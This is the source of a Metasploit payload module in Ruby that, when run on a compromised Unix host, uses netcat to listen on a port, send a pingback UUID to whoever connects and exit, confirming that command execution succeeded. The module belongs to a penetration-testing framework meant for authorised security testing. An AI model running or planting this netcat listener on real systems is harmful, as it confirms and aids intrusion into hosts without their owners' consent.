bwatters-r7
51 lines
1.3 KiB
Ruby
51 lines
1.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
require 'msf/core/payload/pingback'
|
|
require 'msf/base/sessions/pingback'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 103
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Pingback
|
|
include Msf::Payload::Pingback::Options
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',
|
|
'Description' => 'Accept a connection, send a UUID, then exit',
|
|
'Author' =>
|
|
[
|
|
'asoto-r7'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::Pingback,
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'netcat'
|
|
))
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate
|
|
super.to_s + command_string
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
|
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (nc -lp #{datastore['LPORT']} || nc -l #{datastore['LPORT']})"
|
|
end
|
|
end
|